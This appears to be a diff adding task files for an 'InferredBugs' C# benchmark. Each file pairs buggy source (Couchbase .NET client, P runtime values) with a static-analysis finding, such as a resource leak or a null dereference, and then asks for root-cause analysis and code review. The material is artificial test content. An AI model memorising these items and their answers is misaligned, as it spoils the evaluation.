+            {
+                throw new ConfigException("Could not bootstrap {0}. See log for details.", bucketName);
+            }
+            return bucket;
+        }
+
+        public void DestroyBucket(IBucket bucket)
+        {
+            IBucket temp;
+            if (_buckets.TryRemove(bucket.Name, out temp))
+            {
+                var configObserver = temp as IConfigObserver;
+                foreach (var configProvider in ConfigProviders)
+                {
+                    configProvider.UnRegisterObserver(configObserver);
+                }
+            }
+        }
+
+        public void Dispose()
+        {
+            Dispose(true);
+        }
+
+        public void Dispose(bool disposing)
+        {
+            if (!_disposed)
+            {
+                if (disposing)
+                {
+                    GC.SuppressFinalize(this);
+                }
+                foreach (var pair in _buckets)
+                {
+                    DestroyBucket(pair.Value);
+                }
+                foreach (var configProvider in ConfigProviders)
+                {
+                    configProvider.Dispose();
+                }
+                _disposed = true;
+            }
+        }
+
+        ~ClusterManager()
+        {
+            Dispose(false);
+        }
+    }
+}
+
+#region [ License information          ]
+
+/* ************************************************************
+ *
+ *    @author Couchbase <info@couchbase.com>
+ *    @copyright 2014 Couchbase, Inc.
+ *
+ *    Licensed under the Apache License, Version 2.0 (the "License");
+ *    you may not use this file except in compliance with the License.
+ *    You may obtain a copy of the License at
+ *
+ *        http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *    Unless required by applicable law or agreed to in writing, software
+ *    distributed under the License is distributed on an "AS IS" BASIS,
+ *    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *    See the License for the specific language governing permissions and
+ *    limitations under the License.
+ *
+ * ************************************************************/
+
+#endregion
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of Couchbase.Configuration.Server.Providers.Streaming.HttpStreamingProvider::.ctor() at Line 109) of type Couchbase.Configuration.Server.Providers.Streaming.HttpStreamingProvider, Leaked resource (output of Couchbase.Configuration.Server.Providers.CarrierPublication.CarrierPublicationProvider::.ctor() at Line 102) of type Couchbase.Configuration.Server.Providers.CarrierPublication.CarrierPublicationProvider in method "Void ClusterManager.Initialize()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void ClusterManager.Initialize()
+
+### File:
+Src/Couchbase/Core/ClusterManager.cs
+
+### Key:
+ClusterManager.cs|Initialize|DOTNET_RESOURCE_LEAK
+
+### Hash:
+aa649adb971a852fb77a43a8a7026bc4
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2835/instruction.md b/inferredbugs-2835/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..1e7a551a62d55ce905a7aebc4f4ae9833b0b1156
--- /dev/null
+++ b/inferredbugs-2835/instruction.md
@@ -0,0 +1,338 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** couchbase-net-client
+**Bug ID:** 25
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Configuration;
+using System.Diagnostics;
+using System.Linq;
+using System.Net;
+using System.Text;
+using System.Threading.Tasks;
+using Couchbase.Configuration.Client;
+using Couchbase.Views;
+using NUnit.Framework;
+
+namespace Couchbase.Tests.Configuration.Client
+{
+    [TestFixture]
+    public class ClientConfigurationTests
+    {
+        [Test]
+        public void Test_Default()
+        {
+            var config = new ClientConfiguration();
+            Assert.AreEqual(1, config.BucketConfigs.Count);
+
+            var bucketConfig = config.BucketConfigs.First().Value;
+
+            IPAddress ipAddress;
+            IPAddress.TryParse("127.0.0.1", out ipAddress);
+            var endPoint = new IPEndPoint(ipAddress, bucketConfig.Port);
+            Assert.AreEqual(endPoint, bucketConfig.GetEndPoint());
+
+            Assert.IsEmpty(bucketConfig.Password);
+            Assert.IsEmpty(bucketConfig.Username);
+            Assert.AreEqual(11210, bucketConfig.Port);
+            Assert.AreEqual("default", bucketConfig.BucketName);
+
+            Assert.AreEqual(2, bucketConfig.PoolConfiguration.MaxSize);
+            Assert.AreEqual(1, bucketConfig.PoolConfiguration.MinSize);
+            Assert.AreEqual(2500, bucketConfig.PoolConfiguration.RecieveTimeout);
+            Assert.AreEqual(2500, bucketConfig.PoolConfiguration.OperationTimeout);
+            Assert.AreEqual(10000, bucketConfig.PoolConfiguration.ShutdownTimeout);
+        }
+
+        [Test]
+        public void Test_Custom()
+        {
+            var config = new ClientConfiguration
+            {
+                PoolConfiguration = new PoolConfiguration
+                {
+                    MaxSize = 10,
+                    MinSize = 10
+                }
+            };
+            config.Initialize();
+
+            Assert.AreEqual(1, config.BucketConfigs.Count);
+
+            var bucketConfig = config.BucketConfigs.First().Value;
+
+            IPAddress ipAddress;
+            IPAddress.TryParse("127.0.0.1", out ipAddress);
+            var endPoint = new IPEndPoint(ipAddress, bucketConfig.Port);
+            Assert.AreEqual(endPoint, bucketConfig.GetEndPoint());
+
+            Assert.IsEmpty(bucketConfig.Password);
+            Assert.IsEmpty(bucketConfig.Username);
+            Assert.AreEqual(11210, bucketConfig.Port);
+            Assert.AreEqual("default", bucketConfig.BucketName);
+
+            Assert.AreEqual(10, bucketConfig.PoolConfiguration.MaxSize);
+            Assert.AreEqual(10, bucketConfig.PoolConfiguration.MinSize);
+            Assert.AreEqual(2500, bucketConfig.PoolConfiguration.RecieveTimeout);
+            Assert.AreEqual(2500, bucketConfig.PoolConfiguration.OperationTimeout);
+            Assert.AreEqual(10000, bucketConfig.PoolConfiguration.ShutdownTimeout);
+        }
+
+        [Test]
+        public void Test_CustomBucketConfigurations()
+        {
+            var config = new ClientConfiguration
+            {
+                BucketConfigs = new Dictionary<string, BucketConfiguration>
+                {
+                    {"default", new BucketConfiguration
+                    {
+                        PoolConfiguration = new PoolConfiguration
+                        {
+                            MaxSize = 5,
+                            MinSize = 5
+                        }
+                    }},
+                    {"authenticated", new BucketConfiguration
+                    {
+                        PoolConfiguration = new PoolConfiguration
+                        {
+                            MaxSize = 6,
+                            MinSize = 4
+                        },
+                        Password = "password",
+                        Username = "username",
+                        BucketName = "authenticated"
+                    }}
+                }
+            };
+
+            config.Initialize();
+            Assert.AreEqual(2, config.BucketConfigs.Count);
+
+            var bucketConfig = config.BucketConfigs.First().Value;
+
+            IPAddress ipAddress;
+            IPAddress.TryParse("127.0.0.1", out ipAddress);
+            var endPoint = new IPEndPoint(ipAddress, bucketConfig.Port);
+            Assert.AreEqual(endPoint, bucketConfig.GetEndPoint());
+
+            Assert.IsEmpty(bucketConfig.Password);
+            Assert.IsEmpty(bucketConfig.Username);
+            Assert.AreEqual(11210, bucketConfig.Port);
+            Assert.AreEqual("default", bucketConfig.BucketName);
+
+            Assert.AreEqual(5, bucketConfig.PoolConfiguration.MaxSize);
+            Assert.AreEqual(5, bucketConfig.PoolConfiguration.MinSize);
+            Assert.AreEqual(2500, bucketConfig.PoolConfiguration.RecieveTimeout);
+            Assert.AreEqual(2500, bucketConfig.PoolConfiguration.OperationTimeout);
+            Assert.AreEqual(10000, bucketConfig.PoolConfiguration.ShutdownTimeout);
+        }
+
+        [Test]
+        public void Test_UseSsl()
+        {
+            var config = new ClientConfiguration {UseSsl = true};
+            config.Initialize();
+
+            var bucket = config.BucketConfigs.First().Value;
+            Assert.AreEqual(true, bucket.UseSsl);
+            Assert.AreEqual("https://localhost:18091/pools", config.Servers.First().ToString());
+
+            Assert.AreEqual("127.0.0.1:11207", bucket.GetEndPoint().ToString());      
+        }
+
+        [Test]
+        [ExpectedException(typeof(NotSupportedException))]
+        public void When_NotSupportedException_Thrown_When_Proxy_Port_Is_Configured()
+        {
+            var configuration = new ClientConfiguration {PoolConfiguration = {MaxSize = 10, MinSize = 10}};
+
+            configuration.Servers.Clear();
+            configuration.Servers.Add(new Uri("http://127.0.0.1:8091/pools"));
+
+            var bc = new BucketConfiguration();
+            bc.Password = "secret";
+            bc.Username = "admin";
+            bc.BucketName = "authenticated";
+
+            bc.Servers.Clear();
+            bc.Servers.Add(new Uri("http://127.0.0.1:8091/pools"));
+            bc.Port = 11211;
+
+            configuration.BucketConfigs.Clear();
+            configuration.BucketConfigs.Add("authenticated", bc);
+            configuration.Initialize();
+        }
+
+        [Test]
+        public void When_UseSsl_Is_False_At_Config_Level_Ssl_Is_Used()
+        {
+            var remoteHost = ConfigurationManager.AppSettings["bootstrapUrl"];
+            var config = new ClientConfiguration()
+            {
+                UseSsl = true,
+                Servers = new List<Uri>
+                {
+                    new Uri(remoteHost)
+                }
+            };
+            var cluster = new CouchbaseCluster(config);
+            using (var bucket = cluster.OpenBucket())
+            {
+                //all buckets opened with this configuration will use SSL
+                Assert.IsTrue(bucket.IsSecure);
+            }
+        }
+
+        [Test]
+        public void When_UseSsl_Is_False_At_Bucket_Level_Ssl_Is_Used()
+        {
+            var remoteHost = ConfigurationManager.AppSettings["bootstrapUrl"];
+            var config = new ClientConfiguration
+            {
+                BucketConfigs = new Dictionary<string, BucketConfiguration>
+                {
+                    {"beer-sample", new BucketConfiguration
+                    {
+                        UseSsl = true
+                    }}
+                },
+                 Servers = new List<Uri>
+                {
+                    new Uri(remoteHost)
+                }
+            };
+            var cluster = new CouchbaseCluster(config);
+            using (var bucket = cluster.OpenBucket("beer-sample"))
+            {
+                //only the customers bucket will use SSL
+                Assert.IsTrue(bucket.IsSecure);
+            }
+        }
+
+        [Test]
+        public void When_UseSsl_Is_False_At_Config_Level_Ssl_Is_Not_Used()
+        {
+            var remoteHost = ConfigurationManager.AppSettings["bootstrapUrl"];
+            var config = new ClientConfiguration()
+            {
+                UseSsl = false,
+                Servers = new List<Uri>
+                {
+                    new Uri(remoteHost)
+                }
+            };
+            var cluster = new CouchbaseCluster(config);
+            using (var bucket = cluster.OpenBucket())
+            {
+                //all buckets opened with this configuration will not use SSL
+                Assert.IsFalse(bucket.IsSecure);
+            }
+        }
+
+        [Test]
+        public void When_UseSsl_Is_False_At_Bucket_Level_Ssl_Is_Not_Used()
+        {
+            var remoteHost = ConfigurationManager.AppSettings["bootstrapUrl"];
+            var config = new ClientConfiguration
+            {
+                BucketConfigs = new Dictionary<string, BucketConfiguration>
+                {
+                    {"beer-sample", new BucketConfiguration
+                    {
+                        UseSsl = false
+                    }}
+                },
+                Servers = new List<Uri>
+                {
+                    new Uri(remoteHost)
+                }
+            };
+            var cluster = new CouchbaseCluster(config);
+            using (var bucket = cluster.OpenBucket("beer-sample"))
+            {
+                //only the customers bucket will not use SSL
+                Assert.IsFalse(bucket.IsSecure);
+            }
+        }
+    }
+}
+
+#region [ License information          ]
+
+/* ************************************************************
+ *
+ *    @author Couchbase <info@couchbase.com>
+ *    @copyright 2014 Couchbase, Inc.
+ *
+ *    Licensed under the Apache License, Version 2.0 (the "License");
+ *    you may not use this file except in compliance with the License.
+ *    You may obtain a copy of the License at
+ *
+ *        http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *    Unless required by applicable law or agreed to in writing, software
+ *    distributed under the License is distributed on an "AS IS" BASIS,
+ *    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *    See the License for the specific language governing permissions and
+ *    limitations under the License.
+ *
+ * ************************************************************/
+
+#endregion
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource cluster of type Couchbase.CouchbaseCluster in method "Void ClientConfigurationTests.When_UseSsl_Is_False_At_Config_Level_Ssl_Is_Not_Used()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void ClientConfigurationTests.When_UseSsl_Is_False_At_Config_Level_Ssl_Is_Not_Used()
+
+### File:
+Src/Couchbase.Tests/Configuration/Client/ClientConfigurationTests.cs
+
+### Key:
+ClientConfigurationTests.cs|When_UseSsl_Is_False_At_Config_Level_Ssl_Is_Not_Used|DOTNET_RESOURCE_LEAK
+
+### Hash:
+ad9bad651b450b6fe840f1477f9450a4
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2850/instruction.md b/inferredbugs-2850/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..82ece8b4f079f1b4e283ad73ee2cc84e051a7125
--- /dev/null
+++ b/inferredbugs-2850/instruction.md
@@ -0,0 +1,740 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** P
+**Bug ID:** 8
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Linq;
+
+namespace P.Runtime
+{
+    public abstract class PrtValue
+    {
+        public static PrtNullValue NullValue = new PrtNullValue();
+        public static PrtEventValue HaltEvent = new PrtEventValue(new PrtEvent("Halt", new PrtNullType(), PrtEvent.DefaultMaxInstances, false));
+
+        public abstract PrtValue Clone();
+
+        public static PrtValue PrtMkDefaultValue(PrtType type)
+        {
+            if (type is PrtAnyType || type is PrtNullType || type is PrtEventType || type is PrtMachineType)
+                return new PrtNullValue();
+
+            else if(type is PrtIntType)
+            {
+                return new PrtIntValue();
+            }
+            else if(type is PrtBoolType)
+            {
+                return new PrtBoolValue();
+            }
+            else if (type is PrtMapType)
+            {
+                return new PrtMapValue();
+            }
+            else if (type is PrtSeqType)
+            {
+                return new PrtSeqValue();
+            }
+            else if (type is PrtNamedTupleType)
+            {
+                return new PrtNamedTupleValue(type as PrtNamedTupleType);
+            }
+            else if(type is PrtTupleType)
+            {
+                return new PrtTupleValue(type as PrtTupleType);
+            }
+            else
+            {
+                Debug.Assert(false, "Invalid type !!");
+                return null;
+            }
+        }
+
+        public abstract string GetString();
+
+        public abstract bool IsEqual(PrtValue value);
+
+        public static bool PrtInhabitsType(PrtValue value, PrtType type)
+        {
+            if (type is PrtAnyType)
+            {
+                return true;
+            }
+
+            if (value is PrtNullValue)
+            {
+                if (type is PrtEventType || type is PrtMachineType)
+                {
+                    return true;
+                }
+                else
+                {
+                    return false;
+                }
+            }
+
+            if (type is PrtIntType)
+            {
+                return value is PrtIntValue;
+            }
+            else if (type is PrtBoolType)
+            {
+                return value is PrtBoolValue;
+            }
+            else if (type is PrtEventType)
+            {
+                return value is PrtEventValue;
+            }
+            else if (type is PrtMachineType)
+            {
+                return value is PrtMachineValue;
+            }
+            else if (type is PrtTupleType)
+            {
+                if ((!(value is PrtTupleValue)) || (value as PrtTupleValue).fieldValues.Count != (type as PrtTupleType).fieldTypes.Count)
+                {
+                    return false;
+                }
+                else
+                {
+                    int index = 0;
+                    var tupVal = (value as PrtTupleValue);
+                    var tupType = (type as PrtTupleType);
+                    while (index < tupVal.fieldValues.Count)
+                    {
+                        if (!PrtInhabitsType(tupVal.fieldValues[index], tupType.fieldTypes[index]))
+                        {
+                            return false;
+                        }
+                        index++;
+                    }
+
+                    return true;
+                }
+            }
+            else if (type is PrtNamedTupleType)
+            {
+                if ((!(value is PrtNamedTupleValue)) || (value as PrtNamedTupleValue).fieldValues.Count != (type as PrtNamedTupleType).fieldTypes.Count)
+                {
+                    return false;
+                }
+                else
+                {
+                    int index = 0;
+                    var nmtupVal = (value as PrtNamedTupleValue);
+                    var nmtupType = (type as PrtNamedTupleType);
+                    while (index < nmtupVal.fieldValues.Count)
+                    {
+                        if (nmtupVal.fieldNames[index] != nmtupType.fieldNames[index])
+                        {
+                            return false;
+                        }
+                        else if (!PrtInhabitsType(nmtupVal.fieldValues[index], nmtupType.fieldTypes[index]))
+                        {
+                            return false;
+                        }
+                        index++;
+                    }
+
+                    return true;
+                }
+            }
+            else if (type is PrtMapType)
+            {
+                if (!(value is PrtMapValue))
+                {
+                    return false;
+                }
+                else
+                {
+                    var mapVal = (value as PrtMapValue);
+                    foreach (var key in mapVal.keys)
+                    {
+                        if (!PrtInhabitsType(key, (type as PrtMapType).keyType))
+                        {
+                            return false;
+                        }
+                    }
+                    foreach (var val in mapVal.values)
+                    {
+                        if (!PrtInhabitsType(val, (type as PrtMapType).valType))
+                        {
+                            return false;
+                        }
+                    }
+
+                    return true;
+                }
+            }
+            else if (type is PrtSeqType)
+            {
+                if (!(value is PrtSeqValue))
+                {
+                    return false;
+                }
+                else
+                {
+                    var seqVal = (value as PrtSeqValue);
+                    foreach (var elem in seqVal.elements)
+                    {
+                        if (!PrtInhabitsType(elem, (type as PrtSeqType).elemType))
+                        {
+                            return false;
+                        }
+                    }
+
+                    return true;
+                }
+            }
+            else
+            {
+                Debug.Assert(false, "Unknown type");
+                return false;
+            }
+        }
+
+        public static PrtValue PrtCastValue(PrtValue value, PrtType type)
+        {
+            if (!PrtInhabitsType(value, type))
+                throw new PrtInhabitsTypeException(String.Format("value {0} is not a member of type {1}", value.GetString(), type.GetString()));
+            return value.Clone();
+        }
+
+    }
+
+    public class PrtNullValue : PrtValue
+    {
+        public override PrtValue Clone()
+        {
+            return this;
+        }
+
+        public override string GetString()
+        {
+            return "null";
+        }
+
+        public override bool IsEqual(PrtValue value)
+        {
+            if (value is PrtNullValue)
+                return true;
+            else
+                return false;
+        }
+    }
+
+    public class PrtIntValue : PrtValue
+    {
+        public int nt;
+
+        public PrtIntValue()
+        {
+            nt = 0;
+        }
+
+        public PrtIntValue(int val)
+        {
+            nt = val;
+        }
+
+        public override PrtValue Clone()
+        {
+            return new PrtIntValue(this.nt);
+        }
+
+        public override bool IsEqual(PrtValue val)
+        {
+            Debug.Assert(val is PrtIntValue, "Error in type checking, invalid equals invocation");
+            return this.nt == (val as PrtIntValue).nt;
+        }
+
+        public override string GetString()
+        {
+            return nt.ToString();
+        }
+    }
+
+    public class PrtBoolValue : PrtValue
+    {
+        public bool bl;
+
+        public PrtBoolValue()
+        {
+            bl = false;
+        }
+
+        public PrtBoolValue(bool val)
+        {
+            this.bl = val;
+        }
+
+        public override PrtValue Clone()
+        {
+            return new PrtBoolValue(this.bl);
+        }
+
+        public override bool IsEqual(PrtValue val)
+        {
+            Debug.Assert(val is PrtBoolValue, "Error in type checking, invalid equals invocation");
+            return this.bl == (val as PrtBoolValue).bl;
+        }
+
+        public override string GetString()
+        {
+            return bl.ToString();
+        }
+    }
+
+    public class PrtEventValue : PrtValue
+    {
+        public PrtEvent evt;
+
+        public PrtEventValue(PrtEvent val)
+        {
+            this.evt = val;
+        }
+
+        public override PrtValue Clone()
+        {
+            return new PrtEventValue(this.evt);
+        }
+
+        public override bool IsEqual(PrtValue val)
+        {
+            Debug.Assert(val is PrtEventValue, "Error in type checking, invalid equals invocation");
+            return this.evt == (val as PrtEventValue).evt;
+        }
+
+        public override string GetString()
+        {
+            return evt.name;
+        }
+    }
+
+    public class PrtMachineValue : PrtValue
+    {
+        public PrtImplMachine mach;
+
+        public PrtMachineValue(PrtImplMachine mach)
+        {
+            this.mach = mach;
+        }
+
+        public override PrtValue Clone()
+        {
+            return new PrtMachineValue(this.mach);
+        }
+
+        public override bool IsEqual(PrtValue val)
+        {
+            Debug.Assert(val is PrtMachineValue, "Error in type checking, invalid equals invocation");
+            return this.mach == (val as PrtMachineValue).mach;
+        }
+
+        public override string GetString()
+        {
+            return String.Format("{0}({1})", mach.Name, mach.instanceNumber);
+        }
+    }
+
+    public class PrtTupleValue : PrtValue
+    {
+        public List<PrtValue> fieldValues;
+
+        public PrtTupleValue()
+        {
+            fieldValues = new List<PrtValue>();
+        }
+
+        public PrtTupleValue(PrtTupleType tupType)
+        {
+            fieldValues = new List<PrtValue>(tupType.fieldTypes.Count);
+            foreach (var ft in tupType.fieldTypes)
+            {
+                fieldValues.Add(PrtMkDefaultValue(ft));
+            }
+        }
+
+        public PrtTupleValue(PrtTupleType tupType, params PrtValue[] elems)
+        {
+            fieldValues = new List<PrtValue>(tupType.fieldTypes.Count);
+            foreach (var elem in elems)
+            {
+                fieldValues.Add(elem.Clone());
+            }
+            if (tupType.fieldTypes.Count != fieldValues.Count)
+                throw new PrtInternalException();
+        }
+
+        public override PrtValue Clone()
+        {
+            var clone = new PrtTupleValue();
+            foreach (var val in fieldValues)
+            {
+                clone.fieldValues.Add(val.Clone());
+            }
+            return clone;
+        }
+
+        public override bool IsEqual(PrtValue val)
+        {
+            Debug.Assert(val is PrtTupleValue, "Error in type checking, invalid equals invocation");
+            var tupValue = (val as PrtTupleValue);
+            Debug.Assert(tupValue.fieldValues.Count == this.fieldValues.Count, "Error in type checking, tuple sizes not equal");
+
+            int index = 0;
+            while (index < fieldValues.Count)
+            {
+                if (!this.fieldValues[index].IsEqual(tupValue.fieldValues[index]))
+                    return false;
+
+                index++;
+            }
+            return true;
+        }
+
+        public override string GetString()
+        {
+            string retStr = "<";
+            foreach (var field in fieldValues)
+            {
+                retStr = retStr + field.GetString() + ",";
+            }
+            retStr += ">";
+            return retStr;
+        }
+    }
+
+    public class PrtNamedTupleValue : PrtValue
+    {
+        public List<string> fieldNames;
+        public List<PrtValue> fieldValues;
+
+        public PrtNamedTupleValue()
+        {
+            fieldNames = new List<string>();
+            fieldValues = new List<PrtValue>();
+        }
+
+        public PrtNamedTupleValue(PrtNamedTupleType tupType)
+        {
+            fieldNames = new List<string>(tupType.fieldTypes.Count);
+            fieldValues = new List<PrtValue>(tupType.fieldTypes.Count);
+            foreach (var fn in tupType.fieldNames)
+            {
+                fieldNames.Add(fn);
+            }
+            foreach (var ft in tupType.fieldTypes)
+            {
+                fieldValues.Add(PrtMkDefaultValue(ft));
+            }
+        }
+
+        public PrtNamedTupleValue(PrtNamedTupleType tupType, params PrtValue[] elems)
+        {
+            fieldNames = new List<string>(tupType.fieldTypes.Count);
+            fieldValues = new List<PrtValue>(tupType.fieldTypes.Count);
+            foreach (var fn in tupType.fieldNames)
+            {
+                fieldNames.Add(fn);
+            }
+            foreach (var elem in elems)
+            {
+                fieldValues.Add(elem.Clone());
+            }
+            if (tupType.fieldTypes.Count != fieldValues.Count)
+                throw new PrtInternalException();
+        }
+
+        public override PrtValue Clone()
+        {
+            var clone = new PrtNamedTupleValue();
+            clone.fieldNames = this.fieldNames;
+            foreach (var val in fieldValues)
+            {
+                clone.fieldValues.Add(val.Clone());
+            }
+            return clone;
+        }
+
+        public override bool IsEqual(PrtValue val)
+        {
+            Debug.Assert(val is PrtNamedTupleValue, "Error in type checking, invalid equals invocation");
+            var tup = (val as PrtNamedTupleValue);
+            var tupValues = tup.fieldValues;
+            Debug.Assert(tup.fieldValues.Count == this.fieldValues.Count, "Error in type checking, tuple sizes not equal");
+
+            int index = 0;
+
+            while (index < tupValues.Count)
+            {
+                if (!this.fieldValues[index].IsEqual(tupValues[index]))
+                    return false;
+
+                index++;
+            }
+            return true;
+        }
+
+        public override string GetString()
+        {
+            string retStr = "<";
+            int index = 0;
+
+            while (index < fieldValues.Count)
+            {
+                retStr += fieldNames[index] + ":" + fieldValues[index].GetString() + ", ";
+                index++;
+            }
+            retStr += ">";
+            return retStr;
+        }
+    }
+
+    public class PrtSeqValue : PrtValue
+    {
+        public List<PrtValue> elements;
+
+        public PrtSeqValue()
+        {
+            elements = new List<PrtValue>();
+        }
+
+        public override PrtValue Clone()
+        {
+            var clone = new PrtSeqValue();
+            foreach (var val in elements)
+            {
+                clone.elements.Add(val.Clone());
+            }
+
+            return clone;
+        }
+
+        public void Insert(int index, PrtValue val)
+        {
+            //TODO: raise an exception for invalid index
+            elements.Insert(index, val.Clone());
+        }
+
+        public void Remove(int index)
+        {
+            //TODO: raise an exception for invalid index
+            elements.RemoveAt(index);
+        }
+
+        public int SizeOf()
+        {
+            return elements.Count();
+        }
+
+        public override bool IsEqual(PrtValue val)
+        {
+            Debug.Assert(val is PrtSeqValue, "Error in type checking, invalid equals invocation");
+            var seqVal = val as PrtSeqValue;
+            if (seqVal.elements.Count != this.elements.Count)
+            {
+                return false;
+            }
+            else
+            {
+                int index = 0;
+                while (index < this.elements.Count)
+                {
+                    if (!this.elements[index].IsEqual(seqVal.elements[index]))
+                        return false;
+
+                    index++;
+                }
+            }
+            return true;
+        }
+
+        public override string GetString()
+        {
+            string retStr = "(";
+            int index = 0;
+
+            while (index < elements.Count)
+            {
+                retStr += elements[index] + ", ";
+                index++;
+            }
+            retStr += ")";
+            return retStr;
+        }
+    }
+
+    public class PrtMapValue : PrtValue
+    {
+        public List<PrtValue> keys;
+        public List<PrtValue> values;
+
+        public PrtMapValue()
+        {
+            values = new List<PrtValue>();
+            keys = new List<PrtValue>();
+        }
+
+        public override PrtValue Clone()
+        {
+            var clone = new PrtMapValue();
+            foreach (var v in values)
+            {
+                clone.values.Add(v.Clone());
+            }
+            foreach (var k in keys)
+            {
+                clone.keys.Add(k.Clone());
+            }
+            return clone;
+        }
+
+        public int SizeOf()
+        {
+            return values.Count();
+        }
+
+        public bool Contains(PrtValue key)
+        {
+            return keys.Where(k => k.IsEqual(key)).Count() > 0;
+        }
+
+        public void Add(PrtValue key, PrtValue val)
+        {
+            if (Contains(key))
+            {
+                //TODO: raise an exception for invalid add
+            }
+            else
+            {
+                keys.Add(key.Clone());
+                values.Add(val.Clone());
+            }
+        }
+
+        public void Remove(PrtValue key)
+        {
+            if (!Contains(key))
+            {
+                //TODO: raise an exception for invalid remove
+            }
+            var index = keys.FindIndex((k => k.Equals(key)));
+            keys.RemoveAt(index);
+            values.RemoveAt(index);
+        }
+
+        public void Update(PrtValue key, PrtValue val)
+        {
+            if (!Contains(key))
+            {
+                //TODO: raise an exception for invalid update
+            }
+            var index = keys.FindIndex((k => k.Equals(key)));
+            values[index] = val.Clone();
+        }
+
+        public override bool IsEqual(PrtValue val)
+        {
+            Debug.Assert(val is PrtMapValue, "Error in type checking, invalid equals invocation");
+            var mapVal = val as PrtMapValue;
+            if (mapVal.keys.Count != this.keys.Count)
+            {
+                return false;
+            }
+            else
+            {
+                foreach (var k in this.keys)
+                {
+                    if (!mapVal.Contains(k))
+                    {
+                        return false;
+                    }
+                    else
+                    {
+                        var index = this.keys.FindIndex(_k => _k.IsEqual(k));
+                        var _index = mapVal.keys.FindIndex(_k => _k.IsEqual(k));
+                        if (this.values[index].IsEqual(mapVal.values[_index]))
+                        {
+                            return false;
+                        }
+                    }
+                }
+                return true;
+            }
+        }
+
+        public override string GetString()
+        {
+            string retStr = "(";
+            int index = 0;
+
+            while (index < values.Count)
+            {
+                retStr += "(" + keys[index].GetString() + "," + values[index].GetString() + "), ";
+                index++;
+            }
+            retStr += ")";
+            return retStr;
+        }
+    }
+}
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `seqVal` last assigned on line 532 could be null and is dereferenced at line 533, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Boolean PrtSeqValue.IsEqual(PrtValue)
+
+### File:
+Src/PTester/PRuntime/PrtValue.cs
+
+### Key:
+PrtValue.cs|IsEqual|NULL_DEREFERENCE
+
+### Node Key:
+753a00df2e40bf068417ea89da5f239f
+
+### Hash:
+47cd9c5405f4d300ff72c02ad6ca51aa
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2857/instruction.md b/inferredbugs-2857/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7600c3da522f59325dd93bafbd7f3b0579ab8bab
--- /dev/null
+++ b/inferredbugs-2857/instruction.md
@@ -0,0 +1,589 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** P
+**Bug ID:** 12
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Linq;
+using System.Collections.Generic;
+using System.Diagnostics;
+
+namespace P.Runtime
+{
+    public enum PrtMachineStatus
+    {
+        Enabled,        // The state machine is enabled
+        Blocked,        // The state machine is blocked on a dequeue or receive
+        Halted,         // The state machine has halted
+    };
+    public enum PrtNextStatemachineOperation
+    {
+        EntryOperation,
+        DequeueOperation,
+        HandleEventOperation,
+        ReceiveOperation
+    };
+    public enum PrtStateExitReason
+    {
+        NotExit,
+        OnTransition,
+        OnTransitionAfterExit,
+        OnPopStatement,
+        OnGotoStatement,
+        OnUnhandledEvent
+    };
+    public enum PrtDequeueReturnStatus { SUCCESS, NULL, BLOCKED };
+
+    public abstract class PrtImplMachine : PrtMachine
+    {
+        #region Fields
+        
+        public PrtEventBuffer eventQueue;
